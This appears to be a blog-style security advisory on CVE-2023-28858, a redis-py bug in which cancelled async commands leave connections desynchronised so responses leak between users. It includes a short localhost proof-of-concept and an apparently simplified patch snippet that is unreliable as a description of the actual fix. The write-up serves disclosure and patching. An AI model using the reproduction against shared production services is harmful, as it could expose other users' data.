CVE-2023-28858 - Uncovering the Redis-py Data Leakage Vulnerability

CVE-2023-28858 is a subtle yet critical vulnerability that affected versions of redis-py—the most popular Python client for Redis—prior to version 4.5.3. If your services or applications relied on redis-py for asynchronous Redis operations, especially in shared environments, this bug puts your data at serious risk. In this post, we’ll break down what happened, demonstrate with code how an exploit is possible, and summarize steps to fix and secure your systems.

What is CVE-2023-28858? (In Simple Words)

The bug happens when an async Redis command is cancelled at just the wrong time. Instead of closing the network connection cleanly, redis-py could leave it open. Because of this, data from one client's request could get sent by mistake to another client — basically, a “cross-contamination” or data leak between requests.

Imagine two users making requests at almost exactly the same time. If one cancels, and the library mishandles it, the cancelled response might go onto the next user’s request, sharing sensitive information accidentally.

- Official CVE-2023-28858 entry
- redis-py Github Advisory
- redis-py Changelog 4.5.3
- Note: CVE-2023-28859 (Mitigation for broader AsyncIO data leakage) is closely related and should be reviewed as well.

Where is the Problem?

The redis-py async connection pool does not close cancelled connections at the right moment. When an operation is cancelled, the protocol may be out of sync — responses get mismatched, and user A might get data meant for user B. This is typically called an “off-by-one” (or protocol desynchronization) bug.

Exploit Demonstration (PoC Code)

Here’s a minimal reproducible example showing how the bug could be used to leak data between async connections.

Note: This code should only be run in a safe, isolated environment for educational purposes.

import asyncio
import redis.asyncio as redis

async def main():
    client = redis.Redis(host='localhost', port=6379, decode_responses=True)

    async def cancelled_task():
        try:
            # This command is intentionally slow (simulate with BLPOP on an empty list)
            await client.blpop('test-queue', timeout=10)
        except asyncio.CancelledError:
            print("Task was cancelled")

    # Start a command and cancel it at the wrong time
    task = asyncio.create_task(cancelled_task())
    await asyncio.sleep(.5)  # Wait a moment, then cancel
    task.cancel()
    try:
        await task
    except asyncio.CancelledError:
        pass

    # Immediately reuse the connection for an unrelated command
    # This is supposed to be a totally new request
    res = await client.ping()
    print("Response to different user:", res)

asyncio.run(main())

Output in vulnerable redis-py

Task was cancelled
Response to different user: None  # Or a mismatched result, depending on timing

If timed precisely, the response from the cancelled blpop can leak into the ping. In a real multi-user environment, this could leak *any kind of data* between users.

The maintainer’s patch ensures that

- If an async command is cancelled, the actual connection object is closed and removed from the pool.

Future requests get a fresh, properly initialized connection—preventing unwanted data crossover.

Snippet from the patch:

# In the AsyncConnectionPool, after a cancelled command:
if conn.cancelled:
    await conn.close()
    # Don't return this connection to the pool

Make sure to upgrade!

pip install --upgrade "redis>=4.5.3"

Important Notes

- This CVE was reported due to impacts seen in ChatGPT’s production environments, where large-scale async requests were handled.
- Related: CVE-2023-28859 further addresses other async data leak scenarios. It’s strongly recommended you update to at least 4.5.4.

Audit Async Use: Double-check if you use any async patterns in your codebase.

3. Watch for Leaks: Review logs for suspicious cross-user responses if you had vulnerable versions in production.

Final Thoughts

CVE-2023-28858 is a reminder that even a tiny detail in async code can have huge privacy consequences. All it takes is one connection mishandled at the wrong time for user data to end up in the wrong hands. Security is a moving target—keep learning, keep patching.

For more details, see the official redis-py advisory GHSA-vw66-87f6-7m7p.

Stay secure, and always keep your dependencies updated!

*Have questions or need help assessing your risk? Drop a comment below or reach out directly.*

Timeline

Published on: 03/26/2023 19:15:00 UTC
Last modified on: 05/17/2023 17:07:00 UTC